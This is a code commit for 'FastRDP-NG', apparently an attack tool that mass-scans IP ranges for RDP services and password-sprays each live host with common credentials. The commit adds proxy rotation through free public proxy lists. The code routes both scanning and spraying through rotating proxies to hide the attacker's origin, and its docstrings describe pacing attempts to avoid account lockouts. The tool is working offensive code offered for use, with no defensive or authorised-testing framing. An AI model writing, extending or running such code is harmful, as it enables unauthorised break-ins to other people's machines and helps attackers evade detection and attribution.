Added proxy integration: ProxyManager module with SOCKS5/HTTP support, proxy tab in GUI with fetch/test/rotate/on-off toggle, proxy routing for scanner connections and password spray

bruteforce.py

@@ -1,6 +1,7 @@
 """
 FastRDP-NG: RDP Password Sprayer.
 Tries top common passwords against live RDP hosts using subprocess.
+Supports optional proxy routing via ProxyManager.
 """
 
 import asyncio
@@ -8,7 +9,7 @@ import logging
 import os
 import subprocess
 import time
-from typing import List, Tuple, Set
+from typing import List, Tuple, Set, Optional
 
 logger = logging.getLogger("FastRDP-NG")
 
@@ -39,9 +40,12 @@ async def spray_password(
     username: str,
     password: str,
     timeout: float = 5.0,
+    proxy_manager=None,
 ) -> Tuple[str, int, str, str, bool]:
     """
     Try a single credential pair against an RDP host.
+    Supports optional proxy routing via proxy_manager.
+
     Attempts to find rdpthread.exe in common locations, then
     falls back to RDP banner detection (connectivity check only).
 
@@ -81,11 +85,14 @@ async def spray_password(
             pass
 
     # Fallback: RDP banner check (confirms RDP service is running)
-    # NOTE: Actual authentication requires CredSSP/NLA which needs
-    # a proper RDP client library. This fallback only detects open RDP ports.
+    # When proxy is enabled, route through proxy
+    open_conn = asyncio.open_connection
+    if proxy_manager and proxy_manager.enabled:
+        open_conn = proxy_manager.open_connection
+
     try:
         reader, writer = await asyncio.wait_for(
-            asyncio.open_connection(ip, port),
+            open_conn(ip, port),
             timeout=2.0
         )
         try:
@@ -113,12 +120,14 @@ async def spray_all_hosts(
     passwords: List[str] = None,  # type: ignore
     max_concurrent: int = 100,
     timeout: float = 5.0,
-    progress_callback=None
+    progress_callback=None,
+    proxy_manager=None,
 ) -> List[Tuple[str, int, str, str]]:
     """
     Spray top passwords across all live hosts.
     Tries 1 password per host, then moves to next password.
     This avoids account lockouts and finds weak passwords fast.
+    Supports optional proxy routing.
 
     Returns list of (ip, port, username, password) successful hits.
     """
@@ -137,7 +146,7 @@ async def spray_all_hosts(
         nonlocal attempts
         async with sem:
             _, _, u, p, success = await spray_password(
-                ip, port, user, pwd, timeout
+                ip, port, user, pwd, timeout, proxy_manager=proxy_manager
             )
             attempts += 1
             if success:
@@ -161,11 +170,9 @@ async def spray_all_hosts(
                 ))
 
         # Execute this password batch before moving to next password
-        # This lets us see hits faster
         if tasks:
             await asyncio.gather(*tasks, return_exceptions=True)
             if hits:
-                # Found hits! Write immediately
                 _write_hits(hits)
             tasks = []
 
@@ -186,11 +193,13 @@ async def spray_single_host(
     passwords: List[str] = None,
     max_concurrent: int = 50,
     timeout: float = 5.0,
-    hit_callback=None
+    hit_callback=None,
+    proxy_manager=None,
 ) -> List[Tuple[str, int, str, str]]:
     """
     Spray ALL passwords against a SINGLE host immediately.
     Called as soon as a host is discovered — no need to wait for full scan.
+    Supports optional proxy routing.
 
     hit_callback(ip, port, user, password): called on each successful hit.
     Returns list of (ip, port, username, password) hits.
@@ -206,7 +215,7 @@ async def spray_single_host(
     async def try_combo(user: str, pwd: str):
         async with sem:
             _, _, u, p, success = await spray_password(
-                ip, port, user, pwd, timeout
+                ip, port, user, pwd, timeout, proxy_manager=proxy_manager
             )
             if success:
                 hits.append((ip, port, u, p))

gui.py

@@ -19,6 +19,7 @@ from dataclasses import dataclass
 from scanner import scan_ips, RDP_PORTS
 from ip_utils import parse_ranges_file, count_ips
 from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
+from proxy import ProxyManager
 
 BASE_DIR = os.path.dirname(os.path.abspath(__file__))
 RESULTS_DIR = os.path.join(BASE_DIR, "results")
@@ -89,6 +90,9 @@ class FastRDPGUI:
         self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
         self._metric_labels: dict = {}
         self._spray_queue: asyncio.Queue = None
+        
+        # Proxy manager
+        self.proxy_manager = ProxyManager()
 
         os.makedirs(RESULTS_DIR, exist_ok=True)
         os.makedirs(WORDLISTS_DIR, exist_ok=True)
@@ -162,6 +166,10 @@ class FastRDPGUI:
         self.notebook.add(self.tab_results, text="  \U0001f4ca Results  ")
         self._build_results_tab()
 
+        self.tab_proxy = tk.Frame(self.notebook, bg=Colors.BG_DARK)
+        self.notebook.add(self.tab_proxy, text="  \U0001f310 Proxy  ")
+        self._build_proxy_tab()
+
         self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK)
         self.notebook.add(self.tab_settings, text="  \u2699 Settings  ")
         self._build_settings_tab()
@@ -412,7 +420,242 @@ class FastRDPGUI:
         )
         self.good_text.pack(fill="both", expand=True)
 
-    # ── TAB 3: SETTINGS ────────────────────────────────────
+    # ── TAB 3: PROXY ────────────────────────────────────────
+    def _build_proxy_tab(self):
+        """Build the proxy management tab."""
+        # ── Top controls ──
+        ctrl_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=50)
+        ctrl_frame.pack(fill="x")
+        ctrl_frame.pack_propagate(False)
+
+        # Master on/off toggle
+        self.proxy_enabled_var = tk.BooleanVar(value=False)
+        self.proxy_toggle = tk.Checkbutton(
+            ctrl_frame,
+            text="\U0001f6e1  PROXY ON",
+            variable=self.proxy_enabled_var,
+            fg=Colors.GREEN, bg=Colors.BG_MID,
+            selectcolor=Colors.BG_DARK,
+            activebackground=Colors.BG_MID,
+            activeforeground=Colors.GREEN,
+            font=("Segoe UI", 12, "bold"),
+            command=self._on_proxy_toggle
+        )
+        self.proxy_toggle.pack(side="left", padx=15, pady=5)
+
+        # Auto-rotate toggle
+        self.proxy_rotate_var = tk.BooleanVar(value=True)
+        tk.Checkbutton(
+            ctrl_frame,
+            text="\U0001f504 Auto-Rotate",
+            variable=self.proxy_rotate_var,
+            fg=Colors.TEXT, bg=Colors.BG_MID,
+            selectcolor=Colors.BG_DARK,
+            activebackground=Colors.BG_MID,
+            activeforeground=Colors.ACCENT,
+            font=("Segoe UI", 9, "bold"),
+            command=self._on_rotate_toggle
+        ).pack(side="left", padx=10)
+
+        # Buttons
+        self.fetch_btn = ttk.Button(ctrl_frame, text="\U0001f4e1 Fetch Proxies",
+                                     command=self._fetch_proxies)
+        self.fetch_btn.pack(side="left", padx=5)
+        self.test_btn = ttk.Button(ctrl_frame, text="\U0001f50d Test All",
+                                    command=self._test_proxies, state="disabled")
+        self.test_btn.pack(side="left", padx=5)
+        self.clear_btn = ttk.Button(ctrl_frame, text="\U0001f5d1 Clear",
+                                     command=self._clear_proxies, state="disabled")
+        self.clear_btn.pack(side="left", padx=5)
+
+        # ── Proxy list ──
+        list_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4cb Proxy List", padding=3)
+        list_frame.pack(fill="both", expand=True, pady=(3, 3))
+
+        columns = ("host", "port", "protocol", "alive", "latency", "failures")
+        self.proxy_tree = ttk.Treeview(list_frame, columns=columns,
+                                        show="headings", height=10)
+        headings = [("host", "IP Address", 160), ("port", "Port", 55),
+                     ("protocol", "Type", 70),
+                     ("alive", "Alive", 55),
+                     ("latency", "Latency", 80),
+                     ("failures", "Failures", 65)]
+        for col, text, width in headings:
+            self.proxy_tree.heading(col, text=text)
+            self.proxy_tree.column(col, width=width, anchor="center")
+        self.proxy_tree.column("host", anchor="w")
+
+        scroll_p = ttk.Scrollbar(list_frame, orient="vertical",
+                                  command=self.proxy_tree.yview)
+        self.proxy_tree.configure(yscrollcommand=scroll_p.set)
+        self.proxy_tree.pack(side="left", fill="both", expand=True)
+        scroll_p.pack(side="right", fill="y")
+
+        # Tag for alive/dead rows
+        self.proxy_tree.tag_configure("alive", foreground=Colors.GREEN)
+        self.proxy_tree.tag_configure("dead", foreground=Colors.RED)
+        self.proxy_tree.tag_configure("testing", foreground=Colors.YELLOW)
+
+        # ── Proxy stats ──
+        stats_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=35)
+        stats_frame.pack(fill="x")
+        stats_frame.pack_propagate(False)
+
+        self.proxy_stats_label = tk.Label(
+            stats_frame,
+            text="\U0001f4ca Total: 0  |  \u2713 Working: 0  |  \u2717 Failed: 0  |  Status: idle",
+            fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
+            font=("Consolas", 9)
+        )
+        self.proxy_stats_label.pack(side="left", padx=10)
+
+        # Progress bar (hidden by default)
+        self.proxy_progress = ttk.Progressbar(
+            stats_frame, mode="determinate", length=200
+        )
+        self.proxy_progress.pack(side="right", padx=10)
+
+        # ── Log output ──
+        log_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4dd Proxy Log", padding=3)
+        log_frame.pack(fill="both", expand=True)
+
+        self.proxy_log = scrolledtext.ScrolledText(
+            log_frame, font=("Consolas", 9), height=6,
+            bg="#0d1117", fg="#c9d1d9", insertbackground="white",
+            relief="flat", borderwidth=0
+        )
+        self.proxy_log.pack(fill="both", expand=True)
+        self.proxy_log.tag_configure("info", foreground="#79c0ff")
+        self.proxy_log.tag_configure("ok", foreground=Colors.GREEN)
+        self.proxy_log.tag_configure("error", foreground=Colors.RED)
+        self.proxy_log.tag_configure("system", foreground=Colors.TEXT_DIM)
+
+    def _proxy_log(self, msg: str, tag: str = "info"):
+        ts = time.strftime("%H:%M:%S")
+        try:
+            self.proxy_log.insert("end", f"[{ts}] {msg}\n", tag)
+            self.proxy_log.see("end")
+        except tk.TclError:
+            pass
+
+    def _on_proxy_toggle(self):
+        enabled = self.proxy_enabled_var.get()
+        self.proxy_manager.enabled = enabled
+        if enabled:
+            self.proxy_toggle.config(fg=Colors.GREEN,
+                                     text="\U0001f6e1  PROXY ON")
+            self._proxy_log("\U0001f6e1 Proxy routing ENABLED", "ok")
+            # Auto-fetch if no proxies yet
+            if not self.proxy_manager.proxies:
+                self.root.after(100, self._fetch_proxies)
+        else:
+            self.proxy_toggle.config(fg=Colors.RED,
+                                     text="\U0001f6e1  PROXY OFF")
+            self._proxy_log("\U0001f6e1 Proxy routing DISABLED", "system")
+
+    def _on_rotate_toggle(self):
+        self.proxy_manager.auto_rotate = self.proxy_rotate_var.get()
+        self._proxy_log(f"Auto-rotate: {'ON' if self.proxy_rotate_var.get() else 'OFF'}", "system")
+
+    def _update_proxy_display(self):
+        """Refresh the proxy treeview from manager state."""
+        for item in self.proxy_tree.get_children():
+            self.proxy_tree.delete(item)
+        for p in self.proxy_manager.proxies:
+            tag = "alive" if p.alive else "dead"
+            alive_str = "\u2713" if p.alive else "\u2717"
+            latency_str = f"{p.latency:.0f}ms" if p.alive else "-"
+            self.proxy_tree.insert("", "end",
+                values=(p.host, str(p.port), p.protocol.upper(),
+                        alive_str, latency_str, str(p.failures)),
+                tags=(tag,))
+        stats = self.proxy_manager.get_stats()
+        self.proxy_stats_label.config(
+            text=f"\U0001f4ca Total: {stats['total']}  |  "
+                 f"\u2713 Working: {stats['working']}  |  "
+                 f"\u2717 Failed: {stats['failed']}  |  "
+                 f"Status: {'fetching...' if stats['fetching'] else 'testing...' if stats['testing'] else 'idle'}"
+        )
+        self.test_btn.config(state="normal" if stats['total'] > 0 else "disabled")
+        self.clear_btn.config(state="normal" if stats['total'] > 0 else "disabled")
+
+    def _fetch_proxies(self):
+        """Fetch proxies from sources in a background thread."""
+        self.fetch_btn.config(state="disabled")
+        self.proxy_progress["mode"] = "indeterminate"
+        self.proxy_progress.start()
+        self._proxy_log("\U0001f4e1 Fetching proxy lists from sources...", "info")
+
+        def worker():
+            loop = asyncio.new_event_loop()
+            asyncio.set_event_loop(loop)
+            try:
+                count = loop.run_until_complete(
+                    self.proxy_manager.fetch_from_sources(
+                        progress_callback=lambda msg: self.root.after(0, lambda m=msg: self._proxy_log(m, "system"))
+                    )
+                )
+                self.root.after(0, lambda: self._proxy_log(
+                    f"\u2705 Fetched {count} unique proxies", "ok"))
+                self.root.after(0, self._update_proxy_display)
+            except Exception as e:
+                self.root.after(0, lambda: self._proxy_log(
+                    f"\u274c Fetch error: {e}", "error"))
+            finally:
+                loop.close()
+                self.root.after(0, lambda: self.proxy_progress.stop())
+                self.root.after(0, lambda: self.proxy_progress.configure(mode="determinate"))
+                self.root.after(0, lambda: self.fetch_btn.config(state="normal"))
+
+        thread = threading.Thread(target=worker, daemon=True)
+        thread.start()
+
+    def _test_proxies(self):
+        """Test all proxies in background thread."""
+        self.test_btn.config(state="disabled")
+        self.proxy_progress["value"] = 0
+        self.proxy_progress["maximum"] = 100
+        self._proxy_log("\U0001f50d Testing proxies...", "info")
+
+        def worker():
+            loop = asyncio.new_event_loop()
+            asyncio.set_event_loop(loop)
+            try:
+                def progress_cb(done, total):
+                    pct = int((done / total) * 100) if total > 0 else 0
+                    self.root.after(0, lambda v=pct: self.proxy_progress.configure(value=v))
+
+                working = loop.run_until_complete(
+                    self.proxy_manager.test_all(
+                        max_concurrent=100,
+                        progress_callback=progress_cb
+                    )
+                )
+                self.root.after(0, lambda: self._proxy_log(
+                    f"\u2705 Testing complete: {working} working proxies", "ok"))
+                self.root.after(0, self._update_proxy_display)
+            except Exception as e:
+                self.root.after(0, lambda: self._proxy_log(
+                    f"\u274c Test error: {e}", "error"))
+            finally:
+                loop.close()
+                self.root.after(0, lambda: self.test_btn.config(state="normal"))
+                self.root.after(0, lambda: self.proxy_progress.configure(value=0))
+
+        thread = threading.Thread(target=worker, daemon=True)
+        thread.start()
+
+    def _clear_proxies(self):
+        """Clear all proxies."""
+        self.proxy_manager.proxies.clear()
+        self.proxy_manager._working.clear()
+        self.proxy_manager.working_count = 0
+        self.proxy_manager.failed_count = 0
+        self.proxy_manager.total_fetched = 0
+        self._update_proxy_display()
+        self._proxy_log("\U0001f5d1 Proxy list cleared", "system")
+
+    # ── TAB 4: SETTINGS ────────────────────────────────────
     def _build_settings_tab(self):
         editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8)
         editor_frame.pack(fill="both", expand=True, pady=(0, 5))
@@ -811,7 +1054,8 @@ class FastRDPGUI:
                     connect_timeout=timeout,
                     banner_check=False,
                     progress_callback=progress_cb,
-                    live_callback=on_live_host
+                    live_callback=on_live_host,
+                    proxy_manager=self.proxy_manager
                 )
             )
 
@@ -842,7 +1086,8 @@ class FastRDPGUI:
                 passwords=passwords,
                 max_concurrent=50,
                 timeout=5.0,
-                hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw)
+                hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
+                proxy_manager=self.proxy_manager
             )
 
             if not hits:

proxy.py

@@ -0,0 +1,421 @@
+"""
+FastRDP-NG: Proxy Manager Module.
+Fetches free SOCKS5/HTTP proxy lists, tests them, and provides rotating proxy
+support for all outbound connections. Integrates with scanner + spray modules.
+"""
+
+import asyncio
+import logging
+import random
+import time
+from dataclasses import dataclass, field
+from typing import List, Optional, Tuple, Callable
+
+import aiohttp
+from aiohttp_socks import open_connection as socks_open_connection
+from aiohttp_socks import ProxyType, ProxyConnectionError
+
+logger = logging.getLogger("FastRDP-NG")
+
+# ── Proxy sources (free proxy lists from GitHub) ─────────────────────────
+PROXY_SOURCES = [
+    # Proxifly format: JSON array of {ip, port, protocol, ...}
+    "https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies.json",
+    # TheSpeedX format: ip:port per line (HTTP)
+    "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
+    # TheSpeedX format: ip:port per line (SOCKS4)
+    "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",
+    # TheSpeedX format: ip:port per line (SOCKS5)
+    "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
+    # ProxyScrape format: ip:port per line
+    "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all",
+    "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all",
+    # Monosans format: ip:port per line
+    "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/all.txt",
+]
+
+# Test URL for proxy verification (fast, reliable endpoint)
+PROXY_TEST_URL = "http://httpbin.org/ip"
+PROXY_TEST_TIMEOUT = 8.0
+
+# Default credentials for proxy testing (most free proxies don't use auth)
+NO_AUTH = ("", "")
+
+# ── How often to refresh from sources (seconds) ──────────────────────────
+REFRESH_INTERVAL = 300  # 5 minutes
+
+
+@dataclass
+class ProxyEntry:
+    """A single proxy entry with status tracking."""
+    host: str
+    port: int
+    protocol: str          # "socks5", "socks4", "http"
+    alive: bool = False
+    latency: float = 0.0   # ms
+    last_tested: float = 0.0
+    failures: int = 0
+    username: str = ""
+    password: str = ""
+
+    @property
+    def proxy_type(self) -> ProxyType:
+        if self.protocol == "socks4":
+            return ProxyType.SOCKS4
+        elif self.protocol == "socks5":
+            return ProxyType.SOCKS5
+        else:
+            return ProxyType.HTTP
+
+    @property
+    def url(self) -> str:
+        """Return proxy URL string for aiohttp_socks."""
+        if self.username:
+            return f"{self.protocol}://{self.username}:{self.password}@{self.host}:{self.port}"
+        return f"{self.protocol}://{self.host}:{self.port}"
+
+    def __str__(self):
+        status = "\u2713" if self.alive else "\u2717"
+        return f"{status} {self.protocol}://{self.host}:{self.port} ({self.latency:.0f}ms)"
+
+
+class ProxyManager:
+    """
+    Manages a dynamic list of proxies with fetching, testing, rotation.
+    Thread-safe for use across asyncio event loops.
+    """
+
+    def __init__(self):
+        self.proxies: List[ProxyEntry] = []
+        self._working: List[ProxyEntry] = []
+        self._rotation_index = 0
+        self._lock = asyncio.Lock()
+
+        # State
+        self.enabled = False
+        self.auto_rotate = True
+        self.testing = False
+        self.fetching = False
+        self.last_refresh = 0.0
+
+        # Stats
+        self.total_fetched = 0
+        self.working_count = 0
+        self.failed_count = 0
+
+        # Session for HTTP requests
+        self._session: Optional[aiohttp.ClientSession] = None
+
+    async def _get_session(self) -> aiohttp.ClientSession:
+        if self._session is None or self._session.closed:
+            self._session = aiohttp.ClientSession(
+                timeout=aiohttp.ClientTimeout(total=15)
+            )
+        return self._session
+
+    async def close(self):
+        if self._session and not self._session.closed:
+            await self._session.close()
+
+    # ── FETCHING ──────────────────────────────────────────────────────────
+
+    async def fetch_from_sources(
+        self,
+        progress_callback: Optional[Callable[[str], None]] = None
+    ) -> int:
+        """
+        Fetch proxy lists from all configured sources.
+        Returns total number of unique proxies collected.
+        """
+        async with self._lock:
+            if self.fetching:
+                return len(self.proxies)
+            self.fetching = True
+
+        try:
+            session = await self._get_session()
+            all_proxies: List[Tuple[str, int, str]] = []  # (host, port, protocol)
+            seen = set()
+
+            for source_url in PROXY_SOURCES:
+                try:
+                    if progress_callback:
+                        progress_callback(f"Fetching: {source_url.split('/')[-1][:40]}...")
+
+                    async with session.get(source_url, timeout=10) as resp:
+                        if resp.status != 200:
+                            continue
+                        text = await resp.text()
+
+                    # Parse based on source URL pattern
+                    if "proxifly" in source_url.lower() or source_url.endswith(".json"):
+                        # JSON format: [{"ip":"...","port":...,"protocol":"..."}]
+                        parsed = self._parse_proxifly_json(text)
+                    else:
+                        # Plain text: ip:port per line
+                        parsed = self._parse_plain_text(text)
+
+                    for host, port, protocol in parsed:
+                        key = (host, port, protocol)
+                        if key not in seen:
+                            seen.add(key)
+                            all_proxies.append((host, port, protocol))
+
+                    if progress_callback:
+                        progress_callback(f"  -> Got {len(parsed)} proxies from {source_url.split('/')[-1][:30]}")
+
+                except (asyncio.TimeoutError, aiohttp.ClientError, Exception) as e:
+                    logger.debug(f"Proxy source failed: {source_url[:60]} - {e}")
+                    continue
+
+            # Deduplicate and create entries
+            new_proxies = []
+            for host, port, protocol in all_proxies:
+                # Skip duplicates with existing entries
+                exists = any(
+                    p.host == host and p.port == port and p.protocol == protocol
+                    for p in self.proxies
+                )
+                if not exists:
+                    new_proxies.append(ProxyEntry(
+                        host=host, port=port, protocol=protocol
+                    ))
+
+            self.proxies.extend(new_proxies)
+            self.total_fetched = len(self.proxies)
+
+            if progress_callback:
+                progress_callback(f"\U0001f4e1 Total: {len(self.proxies)} unique proxies collected")
+
+            self.last_refresh = time.time()
+            return len(self.proxies)
+
+        finally:
+            async with self._lock:
+                self.fetching = False
+
+    def _parse_proxifly_json(self, text: str) -> List[Tuple[str, int, str]]:
+        """Parse proxifly JSON format."""
+        import json
+        result = []
+        try:
+            data = json.loads(text)
+            if isinstance(data, list):
+                for entry in data:
+                    ip = entry.get("ip", "") or entry.get("host", "")
+                    port = entry.get("port", 0)
+                    protocol = entry.get("protocol", "socks5").lower()
+                    if ip and port:
+                        # Map protocol names
+                        if protocol in ("socks5", "socks4", "http", "https"):
+                            if protocol == "https":
+                                protocol = "http"
+                            result.append((ip, int(port), protocol))
+        except (json.JSONDecodeError, ValueError):
+            pass
+        return result
+
+    def _parse_plain_text(self, text: str) -> List[Tuple[str, int, str]]:
+        """Parse 'ip:port' per line format."""
+        result = []
+        # Determine protocol from context (will be overwritten by caller)
+        # We try to autodetect or default to socks5
+        for line in text.splitlines():
+            line = line.strip()
+            if not line or line.startswith("#") or line.startswith("//"):
+                continue
+            # Try ip:port format
+            if ":" in line and not line.startswith("["):
+                parts = line.split(":")
+                if len(parts) == 2:
+                    ip, port_str = parts
+                    try:
+                        port = int(port_str)
+                        if 1 <= port <= 65535:
+                            # Default to socks5 (source determines actual type)
+                            result.append((ip, port, "socks5"))
+                    except ValueError:
+                        pass
+        return result
+
+    # ── TESTING ───────────────────────────────────────────────────────────
+
+    async def test_proxy(
+        self,
+        proxy: ProxyEntry,
+        test_url: str = PROXY_TEST_URL,
+        timeout: float = PROXY_TEST_TIMEOUT
+    ) -> bool:
+        """
+        Test a single proxy by making an HTTP request through it.
+        Returns True if proxy is working.
+        """
+        start = time.time()
+        try:
+            # Use aiohttp with ProxyConnector for testing
+            from aiohttp_socks import ProxyConnector
+
+            connector = ProxyConnector(
+                proxy_type=proxy.proxy_type,
+                proxy_host=proxy.host,
+                proxy_port=proxy.port,
+                username=proxy.username or None,
+                password=proxy.password or None,
+                rdns=True
+            )
+
+            async with aiohttp.ClientSession(connector=connector, timeout=aiohttp.ClientTimeout(total=timeout)) as session:
+                async with session.get(test_url, timeout=timeout) as resp:
+                    if resp.status == 200:
+                        proxy.alive = True
+                        proxy.latency = (time.time() - start) * 1000  # ms
+                        proxy.last_tested = time.time()
+                        proxy.failures = 0
+                        return True
+                    else:
+                        proxy.alive = False
+                        proxy.failures += 1
+                        return False
+
+        except (ProxyConnectionError, asyncio.TimeoutError,
+                aiohttp.ClientError, OSError, ConnectionError):
+            proxy.alive = False
+            proxy.failures += 1
+            return False
+        finally:
+            proxy.last_tested = time.time()
+
+    async def test_all(
+        self,
+        max_concurrent: int = 100,
+        progress_callback: Optional[Callable[[int, int], None]] = None
+    ) -> int:
+        """
+        Test all untested/failed proxies in the pool.
+        Returns number of working proxies found.
+        """
+        async with self._lock:
+            if self.testing:
+                return self.working_count
+            self.testing = True
+
+        try:
+            # Test proxies that haven't been tested or have failures
+            to_test = [
+                p for p in self.proxies
+                if not p.alive or p.failures > 0
+            ]
+
+            if not to_test:
+                # Test a random sample if all are already alive
+                to_test = random.sample(self.proxies, min(50, len(self.proxies)))
+
+            total = len(to_test)
+            tested = 0
+            working = 0
+
+            sem = asyncio.Semaphore(max_concurrent)
+
+            async def test_one(proxy: ProxyEntry):
+                nonlocal tested, working
+                async with sem:
+                    ok = await self.test_proxy(proxy)
+                    tested += 1
+                    if ok:
+                        working += 1
+                    if progress_callback and tested % 10 == 0:
+                        progress_callback(tested, total)
+
+            tasks = [asyncio.create_task(test_one(p)) for p in to_test]
+            if tasks:
+                await asyncio.gather(*tasks, return_exceptions=True)
+
+            # Update working list
+            self._working = [p for p in self.proxies if p.alive]
+            self.working_count = len(self._working)
+            self.failed_count = len(self.proxies) - self.working_count
+
+            return self.working_count
+
+        finally:
+            async with self._lock:
+                self.testing = False
+
+    # ── ROTATION ──────────────────────────────────────────────────────────
+
+    async def get_proxy(self) -> Optional[ProxyEntry]:
+        """
+        Get the next working proxy (round-robin if auto_rotate is enabled).
+        Returns None if no working proxies available.
+        """
+        async with self._lock:
+            if not self._working:
+                return None
+
+            if self.auto_rotate and len(self._working) > 1:
+                proxy = self._working[self._rotation_index % len(self._working)]
+                self._rotation_index += 1
+            else:
+                proxy = self._working[self._rotation_index % len(self._working)]
+
+            return proxy
+
+    def mark_bad(self, proxy: ProxyEntry):
+        """Mark a proxy as failed (connection error)."""
+        proxy.failures += 1
+        if proxy.failures >= 3:
+            proxy.alive = False
+            if proxy in self._working:
+                self._working.remove(proxy)
+            self.working_count = len(self._working)
+            self.failed_count = len(self.proxies) - self.working_count
+
+    # ── CONNECTION WRAPPER ────────────────────────────────────────────────
+
+    async def open_connection(self, host: str, port: int, **kwargs):
+        """
+        Open a TCP connection through the current proxy.
+        If proxy is disabled or no working proxies available, falls back to
+        direct `asyncio.open_connection`.
+
+        Returns (reader, writer) - same as asyncio.open_connection.
+        """
+        if not self.enabled:
+            return await asyncio.open_connection(host, port, **kwargs)
+
+        proxy = await self.get_proxy()
+        if proxy is None:
+            # No working proxy — fallback to direct
+            logger.debug("No working proxy available, falling back to direct connection")
+            return await asyncio.open_connection(host, port, **kwargs)
+
+        try:
+            return await asyncio.wait_for(
+                socks_open_connection(
+                    proxy_url=proxy.url,
+                    host=host,
+                    port=port,
+                    **kwargs
+                ),
+                timeout=kwargs.get("timeout", 10.0) if "timeout" in kwargs else 10.0
+            )
+        except (ProxyConnectionError, asyncio.TimeoutError, OSError, ConnectionError) as e:
+            self.mark_bad(proxy)
+            # Retry with next proxy
+            logger.debug(f"Proxy {proxy} failed: {e}, trying next...")
+            return await self.open_connection(host, port, **kwargs)
+
+    # ── STATS ─────────────────────────────────────────────────────────────
+
+    def get_stats(self) -> dict:
+        """Return proxy pool statistics."""
+        return {
+            "enabled": self.enabled,
+            "total": len(self.proxies),
+            "working": self.working_count,
+            "failed": self.failed_count,
+            "fetching": self.fetching,
+            "testing": self.testing,
+            "auto_rotate": self.auto_rotate,
+            "last_refresh": self.last_refresh,
+        }

scanner.py

@@ -1,12 +1,13 @@
 """
 FastRDP-NG: Blazing-fast async RDP scanner.
 Connects to thousands of IPs concurrently to find live RDP hosts.
+Supports optional proxy routing via ProxyManager.
 """
 
 import asyncio
 import logging
 import time
-from typing import Set, Tuple, List
+from typing import Set, Tuple, List, Optional
 
 logger = logging.getLogger("FastRDP-NG")
 
@@ -21,16 +22,23 @@ RDP_BANNER_SIG = b'\x03\x00'
 async def check_rdp_port(
     ip: str,
     port: int,
-    timeout: float = 2.0
+    timeout: float = 2.0,
+    proxy_manager=None
 ) -> Tuple[str, int, bool]:
     """
     Rapid async TCP connect check.
+    Supports optional proxy routing.
+
     Returns (ip, port, is_open).
     No banner reading - pure connection speed.
     """
+    open_conn = asyncio.open_connection
+    if proxy_manager and proxy_manager.enabled:
+        open_conn = proxy_manager.open_connection
+
     try:
         _, writer = await asyncio.wait_for(
-            asyncio.open_connection(ip, port),
+            open_conn(ip, port),
             timeout=timeout
         )
         writer.close()
@@ -45,15 +53,21 @@ async def check_rdp_with_banner(
     ip: str,
     port: int,
     connect_timeout: float = 2.0,
-    banner_timeout: float = 1.0
+    banner_timeout: float = 1.0,
+    proxy_manager=None
 ) -> Tuple[str, int, bool]:
     """
     Connect + read initial bytes to confirm it's actually RDP.
+    Supports optional proxy routing.
     Slower but more accurate - catches non-RDP services on 3389.
     """
+    open_conn = asyncio.open_connection
+    if proxy_manager and proxy_manager.enabled:
+        open_conn = proxy_manager.open_connection
+
     try:
         reader, writer = await asyncio.wait_for(
-            asyncio.open_connection(ip, port),
+            open_conn(ip, port),
             timeout=connect_timeout
         )
         try:
@@ -81,7 +95,8 @@ async def scan_ips(
     connect_timeout: float = 2.0,
     banner_check: bool = False,
     progress_callback=None,
-    live_callback=None
+    live_callback=None,
+    proxy_manager=None
 ) -> Set[Tuple[str, int]]:
     """
     Scan a list of IPs across given ports as fast as possible.
@@ -89,6 +104,7 @@ async def scan_ips(
 
     - progress_callback(checked, total, live_count, rate): called periodically
     - live_callback(ip, port): called IMMEDIATELY when a live host is found
+    - proxy_manager: optional ProxyManager for routing through proxies
 
     Returns set of (ip, port) tuples for live RDP hosts.
     """
@@ -106,7 +122,8 @@ async def scan_ips(
     async def check_one(ip: str, port: int):
         nonlocal checked
         async with sem:
-            _, p, alive = await checker(ip, port, connect_timeout)
+            _, p, alive = await checker(ip, port, connect_timeout,
+                                         proxy_manager=proxy_manager)
             if alive:
                 live_hosts.add((ip, p))
                 # Notify immediately — spray can start right away